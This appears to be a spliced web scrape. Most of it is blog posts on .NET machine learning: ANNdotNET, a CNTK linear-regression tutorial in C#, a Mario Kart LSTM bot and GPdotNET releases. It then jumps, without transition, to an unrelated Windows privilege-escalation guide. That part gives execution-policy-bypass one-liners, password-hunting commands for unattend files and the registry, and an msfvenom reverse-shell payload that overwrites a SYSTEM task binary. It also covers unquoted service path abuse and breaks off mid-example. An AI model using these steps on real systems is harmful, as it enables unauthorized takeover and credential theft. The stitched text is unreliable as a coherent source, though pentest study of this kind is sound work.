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# Brief Introduction to ANNdotNET

ANNdotNET – is an open source project for deep learning on .NET platform (.NET Framework and .NET Core). The project is hosted at http://github.com/bhrnjica/anndotnet with more information at the https://bhrnjica.net/anndotnet.

The project comes in two versions: GUI and CMD tool. The main purpose of the project is focus on building deep learning models without to be distracted with debugging the source code and installing/updating missing packages and environments. The user should no worry which version of ML Engine the application is using. In other words, the ANNdotNET is ideal in several scenarios:

1. more focus on network development and training process using classic desktop approach, instead of focusing on coding,
2. less time spending on debugging source code, more focusing on different configuration and parameter variants,
3. ideal for engineers/users who are not familiar with supported programming languages,
4. in case the problem requires coding more advanced custom models, or training process, ANNdotNET CMD provides high level of API for such implementation,
5. all ml configurations files generated with GUI tool, can be handled with CMD tool and vice versa.

With ANNdotNET GUI Tool the user can prepare data for training, by performing several actions: data cleaning, feature selection, category encoding, missing values handling, and create training and validation dataset prior to start building deep neural network. Once the data is prepared, the user can create Machine Learning Configuration (mlconfig) file in order to start building and training deep neural network. All previous actions user can handle using GUI tool implemented in the application.

For persisting information about data preparation and transformation actions, the application uses annproject file type which consists information about raw dataset, metadata information and information about mlconfig files.

The machine learning configurations are stored in separated files with mlconfig file extension. For more information about files in ANNdotNET the reader may open this link. The following image shows how ANNdotNET handles annproject and corresponded machine learning configurations within the annproject:

As can be seen the annproject can be consisted of arbitrary number of mlconfigs, which is typical scenario when working on ML Project. User can switch between mlconfigs any time except when the application is in training or evaluation mode.

# ANNdotNET ML Engine

ANNdotNET introduces the ANNdotNET Machine Learning Engine (MLEngine) which is responsible for training and evaluation models defined in the mlconfig files.The ML Engine relies on Microsoft Cognitive Toolkit, CNTK open source library which is proved to be one of the best open source library for deep learning. Through all application ML Engine exposed all great features of the CNTK e.g. GPU support for training and evaluation, different kind of learners, but also extends CNTK features with more Evaluation functions (RMSE, MSE, Classification Accuracy, Coefficient of Determination, etc.), Extended Mini-batch Sources, Trainer and Evaluaton models.

ML Engine also contains the implementation of neural network layers which supposed to be high level CNTK API very similar as layer implementation in Keras and other python based deep learning APIs. With this implementation the ANNdotNET implements the Visual Neural Network Designer called ANNdotNET NNDesigner which allows the user to design neural network configuration of any size with any type of the layers. In the first release the following layers are implemented:

• Normalization Layer – takes the numerical features and normalizes its values before getting to the network. More information can be found here.
• Dense – classic neural network layer with activation function
• LSTM – LSTM layer with option for peephole and self-stabilization.
• Embedding – Embedding layer,
• Drop – drop layer.

More layer types will be added in the future release.

Designing the neural network can be simplify by using pre-defined layer. So on this way we can implement almost any network we usually implement through the source code.

# How to use ANNdotNET NNDesigner

Once the MLConfig is created user can open it and start building neural network. NNDesigner is placed in the Network Setting tab page. The following image shows the Network Setting tab page.

NNetwork Designer contains combo box with supported NN layers, and two action buttons for adding and removing layers in/from the network. Adding and removing layers is simple as adding and removing items in/from the list box. In order to add a layer, select the item from the combo box, and press Add button. In order to remove the layer form the network, click the layer in the listbox and press Remove button, then confirm deletion. In order to successfully create the network, the last layer in the list must be created with the same output dimension as the Output layer shown on the left side of the window, otherwise the warning messages will appear about this information once the training is stared.

Once the layer is added to the list it must be configured. The layer configuration depends of its type . The main parameter for each layer is output dimension and activation function, except the drop and normalization layer. The following text explains parameters for all supported layers:

Normalization layer – does not require any parameter. The following image shows the normalization item in the NNDesigner. You can insert only one normalization layer, and it is positioned at the first place.

Drop layer – requires percentage drop value which is integer value. The following image shows how drop layer looks in the NNDesigner. There is no any constrains for this layer.

Embedding layer – requires only output dimension to be configured. There is no any constrains for the layer. The following image shows how it looks in the NNDesigner:

Dense layer – requires output dimension and activation function to be configured. There is no any constrains for the layer.

LSTM layer – requires: output and cell dimension, activation function, and two Boolean parameters to enable peephole and self-stabilization variant in the layer. The following image shows how LSTM item looks in the NNDesigner.

The LSTM layer has some constrains which is already implemented in the code. In case two LSTM layers are added in the network, the network becomes the Stacked LSTM which should be treated differently. Also all LSTM layers are inserted as stack, and they cannot be inserted on different places in the list. The implementation of the Stacked LSTM layer will be shown later.

# Different network configurations

In this section, various network configuration will be listed, in order to show how easy is to use NNDesigner to create very complex neural network configurations. Network examples are implemented in pre-calculated examples which come with default ANNdotNET installation package.

# Feed Forward network

This example shows how to implement Feed Forward network, with one hidden and one output layer which is the last layer in the NNDesinger. The example is part of the ANNdotNET installation package.

# Feed Forward with Normalization layer

This example shows feed forward network with normalization layer as the first layer. The example of this configuration can be found in the installation package of the ANNdotNET.

# Feed Forward Network with Embedding layers

In this example embedding layers are used in order to reduce the dimensions of the input layer. Network is configured with 3 embedding layers, one hidden and output layer. The example is part of the ANNdotNET installation package.

# Deep Neural Network

This example shows deep neural network with three kind of layers: Embedding, Drop and Dense layers. The project is part of the ANNdotNET installation package.

# LSTM Deep Neural Network

This example shows how to configure LSTM based network. The network consist of normalization, embedding, drop, dense and LSTM layers. The project is part of the ANNdotNET installation package.

# Stacked LSTM Neural Network

This is example of Stacked LSTM network, consist of multiple LSTM layers connected into stack. The example is part of the installation package.

The complete list of examples can be seen at the ANNdotNET Start Page. In order to open the example, the user just need to click the link. Hope this project will be useful for many ml scenarios.

# Linear Regression with CNTK and C#

CNTK is Microsoft’s deep learning tool for training very large and complex neural network models. However, you can use CNTK for various other purposes. In some of the previous posts we have seen how to use CNTK to perform matrix multiplication, in order to calculate descriptive statistics parameters on data set.
In this blog post we are going to implement simple linear regression model, LR. The model contains only one neuron. The model also contains bias parameters, so in total the linear regression has only two parameters: w and b.
The image below shows LR model:

The reason why we use the CNTK to solve such a simple task is very straightforward. Learning on simple models like this one, we can see how the CNTK library works, and see some of not-so-trivial actions in CNTK.
The model shown above can be easily extend to logistic regression model, by adding activation function. Besides the linear regression which represent the neural network configuration without activation function, the Logistic Regression is the simplest neural network configuration which includes activation function.

The following image shows logistic regression model:
In case you want to see more info about how to create Logistic Regression with CNTK, you can see this official demo example.
Now that we made some introduction to the neural network models, we can start by defining the data set. Assume we have simple data set which represent the simple linear function $y=2x+1$. The generated data set is shown in the following table:

We already know that the linear regression parameters for presented data set are: $b_0=1$ and $b_1=2$, so we want to engage the CNTK library in order to get those values, or at least parameter values which are very close to them.

All task about how the develop LR model by using CNTK can be described in several steps:

Step 1: Create C# Console application in Visual Studio, change the current architecture to $x64$, and add the latest “CNTK.GPU “ NuGet package in the solution. The following image shows those action performed in Visual Studio.

Step 2: Start writing code by adding two variables: $X$ – feature, and label $Y$. Once the variables are defined, start with defining the training data set by creating batch. The following code snippet shows how to create variables and batch, as well as how to start writing CNTK based C# code.

First we need to add some using statements, and define the device where computation will be happen. Usually, we can defined CPU or GPU in case the machine contains NVIDIA compatible graphics card. So the demo starts with the following cod snippet:

```using System;
using System.Linq;
using System.Collections.Generic;
using CNTK;
namespace LR_CNTK_Demo
{
class Program
{
static void Main(string[] args)
{
//Step 1: Create some Demo helpers
Console.Title = "Linear Regression with CNTK!";
Console.WriteLine("#### Linear Regression with CNTK! ####");
Console.WriteLine("");
//define device
var device = DeviceDescriptor.UseDefaultDevice();
```

Now define two variables, and data set presented in the previous table:

```//Step 2: define values, and variables
Variable x = Variable.InputVariable(new int[] { 1 }, DataType.Float, "input");
Variable y = Variable.InputVariable(new int[] { 1 }, DataType.Float, "output");

//Step 2: define training data set from table above
var xValues = Value.CreateBatch(new NDShape(1, 1), new float[] { 1f, 2f, 3f, 4f, 5f }, device);
var yValues = Value.CreateBatch(new NDShape(1, 1), new float[] { 3f, 5f, 7f, 9f, 11f }, device);
```

Step 3: Create linear regression network model, by passing input variable and device for computation. As we already discussed, the model consists of one neuron and one bias parameter. The following method implements LR network model:

```private static Function createLRModel(Variable x, DeviceDescriptor device)
{
//initializer for parameters
var initV = CNTKLib.GlorotUniformInitializer(1.0, 1, 0, 1);

//bias
var b = new Parameter(new NDShape(1,1), DataType.Float, initV, device, "b"); ;

//weights
var W = new Parameter(new NDShape(2, 1), DataType.Float, initV, device, "w");

//matrix product
var Wx = CNTKLib.Times(W, x, "wx");

//layer
var l = CNTKLib.Plus(b, Wx, "wx_b");

return l;
}
```

First, we create initializer, which will initialize startup values of network parameters. Then we defined bias and weight parameters, and join them in form of linear model “$wx+b$”, and returned as Function type. The createModel function is called in the main method. Once the model is created, we can exam it, and prove there are only two parameters in the model. The following code create the Linear Regression model, and print model parameters:

```//Step 3: create linear regression model
var lr = createLRModel(x, device);
//Network model contains only two parameters b and w, so we query
//the model in order to get parameter values
var paramValues = lr.Inputs.Where(z => z.IsParameter).ToList();
var totalParameters = paramValues.Sum(c => c.Shape.TotalSize);
Console.WriteLine(\$"LRM has {totalParameters} params, {paramValues[0].Name} and {paramValues[1].Name}.");
```

In the previous code, we have seen how to extract parameters from the model. Once we have parameters, we can change its values, or just print those values for the further analysis.

Step 4: Create Trainer, which will be used to train network parameters w and b. The following code snippet shows implementation of Trainer method.

```public Trainer createTrainer(Function network, Variable target)
{
//learning rate
var lrate = 0.082;
var lr = new TrainingParameterScheduleDouble(lrate);
//network parameters
var zParams = new ParameterVector(network.Parameters().ToList());

//create loss and eval
Function loss = CNTKLib.SquaredError(network, target);
Function eval = CNTKLib.SquaredError(network, target);

//learners
//
var llr = new List();
var msgd = Learner.SGDLearner(network.Parameters(), lr);

//trainer
var trainer = Trainer.CreateTrainer(network, loss, eval, llr);
//
return trainer;
}
```

First we defined learning rate the main neural network parameter. Then we create Loss and Evaluation functions. With those parameters we can create SGD learner. Once the SGD learner object is instantiated, the trainer is created by calling CreateTrainer static CNTK method, and passed it further as function return. The method createTrainer is called in the main method:

```//Step 4: create trainer
var trainer = createTrainer(lr, y);
```

Step 5: Training process: Once the variables, data set, network model and trainer are defined, the training process can be started.

```//Ştep 5: training
for (int i = 1; i <= 200; i++)
{
var d = new Dictionary();
//
trainer.TrainMinibatch(d, true, device);
//
var loss = trainer.PreviousMinibatchLossAverage();
var eval = trainer.PreviousMinibatchEvaluationAverage();
//
if (i % 20 == 0)
Console.WriteLine(\$"It={i}, Loss={loss}, Eval={eval}");

if(i==200)
{
//print weights
var b0_name = paramValues[0].Name;
var b0 = new Value(paramValues[0].GetValue()).GetDenseData(paramValues[0]);
var b1_name = paramValues[1].Name;
var b1 = new Value(paramValues[1].GetValue()).GetDenseData(paramValues[1]);
Console.WriteLine(\$" ");
Console.WriteLine(\$"Training process finished with the following regression parameters:");
Console.WriteLine(\$"b={b0[0][0]}, w={b1[0][0]}");
Console.WriteLine(\$" ");
}
}
}
```

As can be seen, in just 200 iterations, regression parameters got the values we almost expected $b_0=0.995$, and $w=2.005$. Since the training process is different than classic regression parameter determination, we cannot get exact values. In order to estimate regression parameters, the neural network uses iteration methods called Stochastic Gradient Decadent, SGD. On the other hand, classic regression uses regression analysis procedures by minimizing the least square error, and solve system equations where unknowns are b and w.
Once we implement all code above, we can start LR demo by pressing F5. Similar output window should be shown:

Hope this blog post can provide enough information to start with CNTK C# and Machine Learning. Source code for this blog post can be downloaded here.

# Using CNTK and C# to train Mario to drive Kart

## Introduction

In this blog post I am going to explain one of possible way how to implement Deep Learning ML to play video game. For this purpose I used the following:

1.  N64 Nintendo emulator which can be found here,
2. Mario Kart 64 ROM, which can be found on internet as well,
3. CNTK – Microsoft Cognitive Toolkit
4. .NET Framework and C#

The idea behind this machine learning project is to capture images together with action, while you play Mario Kart game. Then captured images are transformed into features of training data set, and action keys into label hot vectors respectively.  Since we need to capture images, the emulator should be positioned at fixed location and size during playing the game, as well as during testing algorithm to play game. The flowing image shows N64 emulator graphics configuration settings.

Also the N64 emulator is positioned to Top-Left corned of screen, so it is easier to capture the images.

## Data collection for training data set

During image captures game is played as you would play normally. Also no special agent, not platform is required.

In .NET and C# it is implemented image capture from the specific position of screen, as well as it is recorded which keys are pressed during game play. In order to record keys press, the code found here is modified and used.

The flowing image shows the position of N64 emulator with playing Mario Kart game (1), the windows which is capture and transform the image (2), and the application which collect images, and key press action and generated training data set into file(3).

The data is generated on the following way:

• each image is captured, resized to 100×74 pixels and gray scaled prior to be transformed and persisted to data set training file.
• before image is persisted the hotkey of action key press is recorded and connected to image.

So the training data is persisted into CNTK format which consist of:

1. |label – which represent 5 component hot vector, indicate: Forward, Break, Forward-Left, Forward-Right and None (1 0 0 0 0)
2. |features consist of 100×74 numbers which represent pixels of the images.

The following data sample shows how training data set are persisted in the txt file:

```|label 1 0 0 0 0 |features 202 202 202 202 202 202 204 189 234 209 199...
|label 0 1 0 0 0 |features 201 201 201 201 201 201 201 201 203 18...
|label 0 0 1 0 0 |features 199 199 199 199 199 199 199 199 199 19...
|label 0 0 0 1 1 |features 199 199 199 199 199 199 199 199 199 19...
```

Since my training data is more than 300 000 MB of size, I provided just few BM sized file, but you can generate file as big as you wish with just playing the game, and running the flowing code from Program.cs file:

await GenerateData.Start();

## Training Model to play the game

Once we generate the data, we can move to the next step: training RCNN model to play the game. For training model the CNTK is used. Also since we play a game and previous sequence will determined the next sequence in the game, LSTM RNN is used. More information about CNTK and LSTM can be found in previous posts. In my case I have collected nearly 15000 images during several round of playing the same level and route. Also for more accurate model much more images should be collected, nearly 100 000. The model is trained in one hour, with 500000 iterations. The source code about whole project can be found on GitHub page. (http://github.com/bhrnjica/LSTMBotGame )

By running the following code, the training process is started with provided training data:

CNTKDeepNN.Train(DeviceDescriptor.GPUDevice(0));

## Playing the game with CNTK model

Once we trained the model, we move to the next step: playing a game. The emulator should be positioned on the same position and with the same size in order to play the game.ONce the model is trained and created in th training folder, the playing game can be achive by running:

var dev = DeviceDescriptor.CPUDevice;
MarioKartPlay.PlayGame(dev);

How it looks like on my case, you can see on this youtube video:

# Using CNTK with Visual Studio 2017 and Python

In the next few steps will show how to install CNTK and python environment in Visual Studio 2017.

1. First download the latest CNTK version from the official GitHub page, or just click on the following link: https://github.com/Microsoft/CNTK/releases

The release page will show the latest bits. Click on the CPU only package, accept the license and download the zip file.

1. Once that you have zip file on your PC, create the folder C:/local on disk and unzip the package in to it.
2. The next step performs the installation of the library as well as installation of the Python related distribution anaconda 4.1.1.
3. Open C:\local\cntk\Scripts\install\windows path and run install.bat file. You will need administrative rights in order to successfully install all required components.
4. The following image shows the installation process:

1. As can be seen first you have to run batch file (step 2), then press 1 and ENTER in order to continue with the installation process and press ‘y‘, to perform downloading required components.
2. The installation process takes several minutes to complete. The first component to be installed is Anaconda 4.1.1 which is needed in order to setup  CNTK.

1. Once the anaconda is installed, the process of CNTK installation starts and passes very quickly since we already download all CNTK bits.

1. Now that we have CNTK installed, the last installation step is installation of the Visual Studio Tool for Python.
2. Run the Visual Studio 2017 Installer and after the installed is show, just select the python components similar picture shows below:

1. Once the installation is completed run Visual Studio 2017.
2. From the Visual Studio 2017 Tool menu select Python and then select Python Environment:

1. From the Python Environment window select Anaconda 4.1.1 and update symbols DB, by pressing the button pointed on the image below:

1. Once we have environment updated, Press “Make this the default environment for the new projects” option in order to apply the environment for the future Python CNTK based projects.
2. Also the path for Python and Python scripts should be registered in Global Environment OS.

1. Once the previous steps are performed successfully, we can start writing CNTK aware python code in Visual Studio 2017.
2. OPen VS 2017 and Anaconda 4.1.1 environment and type.

import cntk

print(“CNTK verion:”, cntk__version__)

1. Similar output should be appear
2. print(“CNTK version:”, cntk.__version__)

# GPdotNET v4.0 has been released

After almost two years of implementation, I am proud to announce the forth version of the Open source project called GPdotNET v4.0. The latest version completely implements Genetic Programming and Artificial Neural Network for supervised learning tasks in three kind of problems: regression, binary and multiclass classification. Beside supervised learning tasks, with GPdotNET you can solve several Linear Programming problems: Traveling Salesman, Assignment and Transportation problems. The source code and binaries can be download from Github page: https://github.com/bhrnjica/gpdotnet/releases/tag/v4.0

Figure 1. Main Window in GPdotNET v4.0

# Introduction

In 2006 the GPdotNET started as post-graduate semester project, where I was trying to implement simple C# program based on genetic programming. After successfully implemented console application, started to implement .NET Windows application to be easy to use for anyone who wants to build mathematical model from the data based on genetic programming method. In November 2009 GPdotNET became an open source project, by providing the source code and installer. Since then I have received hundreds of emails, feedbacks, questions and comments. The project was hosted on http://gpdotnet.codeplex.com. In 2016 I decided to move the project to GitHub for better collaboration and compatibility, and can be found at http://github.com/bhrnjica/gpdotnet. However, for backward compatibility, the old hosting site will be live as long as the codeplex.com would be live. Since the beginning of the development, my intention was that the GPdotNET would be cross-OS application which can be run on Windows, Linux and Mac. Since version 2, GPdotNET can be compiled against .NET and Mono, and can be run on any OS which has Mono Framework installed. Beside this fact, vast majority of users are using GPdotNET on Windows OS.

GPdotNET is primarily used on Academia by helping engineers and researchers in modelling and prediction various problems, from the air pollution, water treatment, rainfall prediction, to the various modelling of machining processes, electrical engineering, vibration, automotive industry etc. GPdotNET is used in more than ten doctoral dissertations (known to me) and master thesis, nearly hundreds paper used GPdotNET in some kind of calculation.

# Modeling with GPdotNET (New in GPdotNET v4.0)

Working with GPdotNET requires the data. By providing the learning algorithms GPdotNET uses a data of the research or experimental measures to learn about the problem. The results of learning algorithms are analytical models which can describe or predict the state of the problem, or can recognize the pattern. GPdotNET is very easy to use, even if you have no deep knowledge of GA, GP or ANN. Appling those methods in finding solutions can be achieved very quickly. The project can be used in modeling any kind of engineering process, which can be described with discrete data, as well as in education during teaching students about evolutionary methods, mainly GP and GA, as well as Artificial Neural Networks.

Working in GPdotNET follows the same procedures regardless of the problem type. That means you have the same set of steps when modelling with Genetic Programming or Neural Networks. In fact, GPdotNET contains the same set of input dialogs when you try to solve Traveling Salesman Problem with Genetic Algorithm or if you try to solve handwriting recognition by using Backpropagation Neural Networks. All learning algorithms within GPdotNET share the same UI.

The picture below shows the flowchart of the modelling in GPdotNET. The five steps are depicted in the graphical forms surrounded with Start and Stop item.

Figure 2. Modelling layout in GPdotNET 4.0

After GPdotNET is started main window is show, and the modelling process can be started.

## Choosing the Solver Type

The first step is choosing the type of the solver. Which solver you will use it depends on your intention what you want to do. Choosing solver type begins when you press “New” button, the “GPdotNET Model creation wizard” appear. Soler types are grouped in two categories. The first group (on the left side) contains models implemented prior to v4.0 version. It contains solvers which apply GP in modelling regression problems, and GP in optimization of the GP models. In addition, you can perform optimization of any analytically defined function by using “Optimization of the Analytic function”. Also, there are three linear programming problems which GPdotNET can solve using GA.

On the right side, there are two kind of solvers: GP or ANN, which are not limited to solve only regression. Both GP or ANN can build model for regression, binary or multi-class problems. Which type of problem GPdotNET will use, depends of the type of the output column data (label column).

Figure 3. Available model types

GPdotNET uses powerful tool for importing your experimental data regardless of the type. You can import numerical, binary or classification data by using Importing Data Wizard. With GPdotNET importing tools you can import any kind of textual data, with any kind of separation character.

Figure 4. Importing dataset dialog

After the data is imported in forms of columns and rows, GPdotNET implemented set of very simple controls which can perform very powerful feature engineering. For each loaded column, you can set several types of metadata: column name, column type (input, output, ignore), normalization type (minmax, gauss), and missing value (min, max, avg). With those options, you can achieve most of the modelling scenarios. Before “Start Modelling” minimum conditions must be achieved.

• At least one column must be of “input” parameter type.
• At least one column must be of “output” parameter type.

Which type of problem (regression, binary or multi class) will be used depends of the type of the output column. The following cases are considered:

1. in case of regression problems ouput column must be of numeric type.
2. in case of binary classinfication output column must be of binary type.
3. in case of multi class classinfication output column must be of categorical type.

Figure 5. Defining metadata for training data set

When the column should not be part of the feature list, it can be easily ignored when the Column Type is set to “ignore“, or Param type is set to “string“.

Figure 6. Changing column type to binary

Change value of metadata by double click on the current value, select new values from available popup list. When you done with Feature Engineering press “Start Modelling” button and the process of modelling can be start.

Note: After you press Start Modelling button you can still change values of metadta, but after every change of the metadata values, Start Modelling button must be pressed.

## Setting Learning Parameters

Figure 7. Setting parameters Dialog

After data is loaded and prepared successfully, you have to set parameters for the selected method. GPdotNET provides various parameters for each method, so you can set parameters which can provides and generates best output model. Every parameter is self-explanatory.

## Searching for the solution

GPdotNET provides visualization of the searching solution so you can visually monitor how GPdotNET finds better solution as the iteration number is increasing. Beside searching simulation, GPdotNET provides instant result representation (only GP models), so any time the user can see what is the best solution, and how currently best solution is good against validate or predicted set of data. (Result and Prediction tabs).

Figure 8. Searching simulation in GPdotNET

## Saving and exporting the results:

GPdotNET provides several options you can choose while exporting your solution. You can export your solution in Excel or text file, as well as in Wolfram Mathematica or R programming languages (GP Models only). In case of ANN model the result can se exported only to Excel.

Figure 9. Searching simulation in GPdotNET

Besides parameters specific to learning algorithm, GPdotNET provides set of parameters which control the way of how iteration process should terminates as well as how iteration process should be processed by means of parallelization to use the multicore processors. During the problem searching GPdotNET records the history, so you can see when the best solution is found, how much time pass since the last iteration process start, or how much time is remaining to finish currently running iteration process.

Due to the fact that GP is the method which requires lot of processing time, GPdotNET provides parallelization, which speed up the process of searching. Enabling or disabling the parallelization processing is just a click of the button.

## GPdotNET Start Page

In case you have no data or just want to test the application, GPdotNET providers 15 data samples for demo purposes. All samples are grouped in problems specific groups: Approximation and Regressions, Binary Classification, Multi-class classification, Time series modelling and Linear Programming.

Figure 10. Modelling layout in GPdotNET

By click on appropriate link sample can be opened to see current result and parameter values. You can easily change parameter, press Run button and search for another solution. This is very handy to introduce with GPdotNET. In any time, you can stop searching and export current model or save current state of the program.

In case you need to cite it in scientific paper or book please refer to  https://wordpress.com/post/bhrnjica.net/5995

# GPdotNET v4.0 Beta 2 released

The last few days I am preparing the new build for publishing of GPdotNET v4.0 which will include lot of new features. In the last post I have announced ANN modul and compleately new modul for preparing tha data for modelling. Here is a quick overview of the new features comming in this build:

1. Since this build the GP modul is also integrated with the new way of data preparation. Now with the latest version of GPdotNET the user will have the same user  experience in modelling with GP and ANN.
2. The big news for this build is ability for modelling classification problems (two-class as well ) with Genetic programming. Multy -classs GP solver will be released soon.
3. Separation of the previous and new version. Both are included in the latest build.
4. Disable protected operations.

As picture shows below you can choose models from prevous version on the left side. On the right side of the new model dialog, you can select modeling and prediction with ANN or GP.

After you select the solver GPdotNET is ready to accept the data.

Beside this GP integration there are several bug fix which were reported from the users.

In GP solver the new feature has been added: Ability to disable protected operations. In the previuous version of GPdotNET protected operations (eg. /, log, ln, etc) are enabled in the model. Whenever operation was undefined for the current value. GPdotNET returned default value (0 or 1). So with protected operation the model is always defined. With protected operations we collect much good genetic material dufirng evolution. In case the option is disable any upprotected operation can discar the model. This option is available in new and previous GP solver.

## Features not implemented in this beta

1. Exporting GP/ANN model

2. Open/Save gpa file for new Solvers.

# GPdotNET v4.0- Introduction

This is the first post in series of posts that describe upcomming version of GPdotNET v4.0. Besides lot of improvements of the current version, the main part isimplementation of neural networks and set of other optimization methods of machine learning.

## 1. Modelling with GPdotNET v4.0

GPdotNET Logo

GPdotNET is C#, open source artificial intelligence tool for applying Genetic Algorithm and Artificial Neural Networks in modeling, prediction, optimization and pattern recognitions. With GPdotNET you can solve various engineering problems from classic regression and approximation to linear programming transportation and location problems and other machine learning based problems. By providing the learning algorithms GPdotNET uses a data of the research or experimental measures to learn about the problem. The results of learning algorithms are analytical models which can describe or predict the state of the problem, or can recognize the pattern. GPdotNET is very easy to use, even if you have no deep knowledge of GA, GP or ANN, you can apply those methods in finding solutions. The project can be used in modeling any kind of engineering process, which can be described with discrete data, as well as in education during teaching students about evolutionary methods, mainly GP and GA, as well as machine learning mainly Artificial Neural Networks.
The typical process of modelling with GPdotNET can be described in 5 steps.

1. Choosing the type of the Solver: The first step is choosing the type of the solver. Which solver you will use depends on your intention what you want to do. For example if you want to make model for your experimental measurement you have several options which depend of your experimental data and the method you want to use. In GPdotNET you can use Genetic Programming or Neural Nets for modelling and prediction experimental data. But this is not strictly separate as may look on the flowchart below. That means that you can user Neural Networks for prediction, but training algorithm can be based on  Genetic Algorithm or Particle Swarm Optimization or Back Propagation algorithm.
2. Loading your experimental data: GPdotNET uses powerful tool for importing your experimental data regardless of the type of data. You can import your numerical, binary or classification data. GPdotNET can automatically define classes, or format numerical data with floating or comma separated decimal values. More info can be find in Section 2.
3. Setting Learning Parameters. After data is loaded and prepared successfully, you have to set parameters for the selected method. GPdotNET providers various parameters for each method, so you can set parameters which can provides and generates best output model.
4. Searching for the solution: GPdotNET provides visualization of the searching solution so you can visually monitor how GPdotNET finds better solution as increasing the iteration number. If you provide data for testing calculated model, you can also see simulation of prediction.
5. Saving and exporting the results: GPdotNET provides several options you can choose while exporting your solution. You can export your solution in Excel or text file, as well as in Wolfram Mathematica or R programming languages.

As would be seen, working in GPdotNET follows the same procedures regardless of the problem type. That means you have the same set of steps when modelling with Genetic Programming or Neural Networks. In fact GPdotNET contains the same set of input dialogs when you try to solve Traveling Salesman Problem with Genetic Algorithm or if you try to solve handwriting recognition by using Backpropagation Neural Networks. All learning algorithms within GPdotNET share the same UI.

The picture below shows the flowchart of the modelling in GPdotNET. The five steps described previously are depicted in the graphical forms surrounded with Start and Stop elements.

Modeling in GPdotNET v4.0

Besides parameters specific to learning algorithm, GPdotNET provides set of parameters which control the way of how iteration process should terminates as well as how iteration process should be processed by means of parallelization to use the multicore processors. During the problem searching GPdotNET records the history, so you can see when the best solution is found, how much time pass since last iteration process started, or how much time is remain to finish currently running iteration process.
Due to the fact that GP is the method which requires lot of processing time, GPdotNET provides parallelization, which speed up the process of searching. Enabling or disabling the parallelization processing is just a click of the button.


text:
## Tuesday, 20 February 2018

### Escalation Time

Windows Privilege escalation was one thing I struggled with, it was easy enough to get a shell but what next? I am just a normal user. Where do I start, what to look for, I guess these are questions that come to your mind when you want to escalate. Well this is the methodology which I follow for privilege escalation. Again this is only my flow and yours may be different, follow what works best for you.

Okay once I get my shell, I want to escalate as quickly as possible without wasting too much time so I run the scripts, find exactly what needs to be done and exploit it. I would suggest you to try out all the manual methods first before using automated scripts or you will not know which tool gives which data. Once you know that go for the automated scripts.

Remember each script has different formats and check for different things so know what exactly the scripts are doing before running them. I would suggest to use wget.vbs for transferring files from linux to windows as that always worked for me.

I) Automated scripts:

I never got an interactive powershell cmd so I use oneliners.

One-liners for script 4 & 5:

c:\>powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}"

c:\>powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

I always prefer the one-liners, clean and simple, but you might lose your shell after executing it.

II) Manual enumerations:

Step1: Analyze script 1, 3 & 4

I will be listing out the manual process down below but for now these are the best guides I personally found to be very useful to understand what's happening under the hood.

III) Kernel exploits:

Analyze script 2 and 5.

Get the exploit-db number and replace it in step1 to get the code and compile it on your own, or once you have the exploit-db number you can directly get the precompiled exploit by using the number in step2.

Exploit Step1)

Exploit Step2)

Exploit step 3)

So by this time either we have high privilege or we know what is the exact vulnerability to exploit to get our privilege.

And that’s it, we have covered almost everything, short and simple, Security patches, Kernel exploit, misconfigurations, the only thing we need now is manual way to find and exploit it. Let’s head on.
=============================================================================

Manual enumeration steps:

This is the long form of the manual enumeration you saw above.

Do I know my victim?
Understanding what system will help you to better visualize if your exploits will work or not since some features are available for older versions of OS and not in the later and vice versa.

systeminfo
hostname
net users
netstat -ano
netsh firewall show config

Easy wins:

Search all these files for passwords. Don’t miss out on easy escalations. Once you get the password it's just a matter of PsExec to give yourself admin privileges.

c:\unattended.txt
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
Vnc.ini
ultravnc.ini
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Services\Services.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

You can also use pwdump and fgdump to dump out passwords.

Just an FYI before running these commands, I found these commands to give a lot of output on the screen.
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Executing command as another user, I always prefer to use psexec.
C:\>runas: c:>runas /user:virgil cmd.exe   //this will popup a new cmd so better use this to create new user or put yourself in admin group.
Restart the victim system as the registry changes needs to be updated
C:\>shutdown /r /t 1

Commands to remember:

These are important command which you will be using quite often, since you have to find the vulnerable directory or path or file.

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe /accepteula

# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:
\

# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

Run as User: system
If you get any as system then go through that in detail to find the "Task to Run", time and schedules.
Based on "Task to run", check the access permission of that folder and file.
Eg: accesschk.exe -dqv "E:\getLogs"
If it has readwrite(RW) for authenticated users then we can overwrite the file its trying to run as system with ourpayload.

#msfvenom windows/shell_reverse_tcp lhost='127.0.0.1' lport='1337'  -f  exe > /root/Desktop/evil-log.exe copy evil-log.exe E:\getLogs\log.exe
Overwrite it.  Open a listener and wait for it to run and grab a shell as system.
You will need to take time to examine ALL the binpaths for the windows services, scheduled tasks and startup tasks.

The below are checked by winprivesc/powerup so you should get it in the powershell output, but have to learn the manual methods too.

Weak  file and folder permissions or misconfigured service:

1. Trusted Service Path/ unquoted service path:

If there is a service with its exe path which has space in it then make a file.exe with the file name as the first name before the space and restart service.
Command to check the servicename and path.
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Make sure you have permission to edit/put files in the folders using icacls
C:\>icacls "C:\Program Files (x86)\<Folder name>"
C:\>cacls "C:\Programs Files\foldername"
C:\>accesschk.exe -dqv "C:\Program Files\foldername"
C:\>start and stop service
C:\>sc stop <service-name>
C:\>sc start <service-name>

To restart a system: C:\>shutdown /r /t 0

2. Vulnerable Service:

a. Service binaries:

Replacing the entire exe with malicious with proper permissions to files and folders.
cacls "C:\path\to\file.exe"
Look for Weakness
What we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or (C) rights.
Example:

C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
NT AUTHORITY\SYSTEM:F
